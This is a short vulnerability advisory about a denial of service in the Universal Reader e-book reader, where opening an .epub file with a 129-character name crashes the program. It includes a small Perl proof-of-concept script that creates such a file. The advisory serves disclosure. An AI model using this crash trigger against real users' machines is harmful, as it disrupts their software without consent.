Title: Universal Reader Filename Denial Of Service Vulnerability Software : Universal Reader Software Version : 1.16.740.0 (product version: 0.63.538) Vendor: http://uread.superfection.com/ Vulnerability Published : 2012-05-12 Vulnerability Update Time : Status : Impact : Medium(CVSS2 Base : 5.0, AV:N/AC:L/Au:N/C:N/I:N/A:P) Bug Description : Universal Reader is a online/offline reader for reading polytype e-book files. Universal Reader contains any denial of service vulnerability about openning long-name files. Success in exploiting this vulnerability will crumble uread.exe process. Proof Of Concept : ----------------------------------------------------------- #!/usr/bin/perl -w $filename="a"x129; print "------Generate testfile \"a\"x129.epub------\n"; open(TESTFILE, ">$filename.epub"); sleep(3); close(TESTFILE); print "------Complete!------\n"; exit(1); ----------------------------------------------------------- Credits : This vulnerability was discovered by demonalex(at)163(dot)com mail: demonalex(at)163(dot)com / ChaoYi.Huang@connect.polyu.hk Pentester/Researcher Dark2S Security Team/PolyU.HK